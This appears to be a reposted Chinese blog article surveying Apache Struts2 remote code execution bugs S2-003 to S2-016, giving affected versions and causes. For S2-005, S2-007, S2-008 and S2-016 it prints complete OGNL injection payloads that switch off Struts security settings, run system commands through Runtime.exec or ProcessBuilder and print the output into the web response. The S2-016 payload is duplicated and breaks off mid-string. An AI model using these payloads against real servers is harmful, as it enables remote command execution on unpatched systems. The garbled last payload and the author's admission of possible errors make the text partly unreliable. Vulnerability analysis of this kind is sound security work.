apache官方安全公告页面:
http://struts.apache.org/development/2.x/docs/security-bulletins.html
其中涉及代码执行的漏洞有:S2-003,S2-005,S2-007,S2-008,S2-009,S2-012~S2-016,下面逐一简要说明。
一、S2-003
受影响版本:低于Struts 2.0.12
struts2会将http的每个参数名解析为ongl语句执行(可理解为java代码)。ongl表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制。
二、S2-005
受影响版本:低于Struts 2.2.1
对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,安全配置被绕过再次导致了漏洞。
命令执行EXP:
exp.action?('\u0023_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(b))&('\u0023c')(('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(c))&(g)(('\u0023mycmd\u003d\'ifconfig\'')(d))&(h)(('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(d))&(i)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(d))&(j)(('\u0023myres\u003dnew\40byte[51020]')(d))&(k)(('\u0023mydat.readFully(\u0023myres)')(d))&(l)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(d))&(m)(('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\u0023myout.getWriter().println(\u0023mystr)')(d))
关于()()结构,应该是ongl表达式转换为语法树时,(a)()比(b)()靠前,优先执行(个人猜想,后续有时间了解下具体原理)。此外()(()())这种结构也可以转换为()()(),调了部分结构,exp如下:
exp.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023mycmd\u003d\'ifconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))
三、S2-007
受影响版本:低于Struts 2.2.3.1
假设test.java中定义了一个整数long id,id来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞。
命令执行EXP:
id='%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%2b'
四、S2-008
受影响版本:低于Struts 2.3.1.2
漏洞报告者一共报告了4个漏洞,下面逐一列举
1、即S2-007,跳过
2、当struts配置中使用cookie拦截器,举例
<interceptor-ref name="cookie"> <param name="cookiesName">*</param> <param name="cookiesValue">*</param> </interceptor-ref>
cookiename没有做特殊字符的限制,会被当作ognl代码执行。不过java的webserver(tomcat等)在cookiename中禁掉了很多非主流字符,该漏洞局限性较大,危害较小。
3、对于(1)(2)这样的ongl表达式,ongl会把1当作一个ongl表达式先执行。对于url参数user=(1)(2),struts2只对user参数做了过滤,并没有限制参数值,从而导致漏洞的产生,此种利用方法在S2-009中提出,S2-008中只提出了二进制文件覆盖的方法。
命令执行EXP:
exp.action?name=(%23context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+%23_memberAccess["allowStaticMethodAccess"]=true,+%23a=@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)('meh')]
4、struts2配置中开启debug调试模式,直接传入ongl表达式执行。
命令执行EXP:exp.action?debug=command&expression=…
五、S2-012
受影响版本:低于Struts 2.3.14.1
这个漏洞是阿里大牛kxlzx提交的,struts2中可以通过${express}或%{express}来引用ongl表达式,当配置一个action中有${input}或%{input}且input来自于外部输入时,给input赋值%{exp},从而导致任意代码执行。kxlzx拿struts给的一个例子做了说明,测试样例参考:http://struts.apache.org/development/2.x/docs/s2-012.html
六、S2-013
受影响版本:低于Struts 2.3.14.1
当使用struts的<s:url或<s:a标签,切属性includeParams值为all或get时,随意指定url参数赋值为%{exp}或${exp},从而导致二次代码执行,原理上类似S2-012。
七、S2-014
受影响版本:低于Struts 2.3.14.2
官方在修复S2-012和S2-013的时候只是禁用了%{exp}这种方式,${exp}仍然有效,从而导致远程代码执行。
另外值得一提的是,官方在此次漏洞之后删除了allowStaticMethodAccess的set方法,之前所有的exp将不再有效。不过kxlzx大牛又提出了新的exp实现方法,后面给出exp。
八、S2-015
受影响版本:低于Struts 2.3.14.3
当一个action的name被配置成通配符的时候,访问url,action的名字指定为${exp},action的名字会被作为ongl表达式执行。
另外S2-015中还提到了一个二次表达式执行的问题,类似之前的几个漏洞,参考官网漏洞说明即可。
九、S2-016
受影响版本:低于Struts 2.3.15.1
struts2中有2个导航标签(action、redirect),后面可以直接跟ongl表达式,比如test.action?action:${exp}或test.action?redirect:${exp}
漏洞执行EXP:
test.action?redirect:${%23a%3dnew%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22netstat%22,%22-an%22}).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[51020],%23c.read(%23d),%23screen%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23screen.println(%23d),%23screen.close()}">test.action?redirect:${%23a%3dnew%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22netstat%22,%22-an%22}).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java
说明,本文转载而来,可能存在错误,但本文的目的并不是告诉你如何使用这些EXP,而是让你了解struts2漏洞。
原文地址:http://wapapp.baidu.com/evi1r4pper/item/16306ee066d7f50c570f1d7b
参考网站:http://drops.wooyun.org/papers/902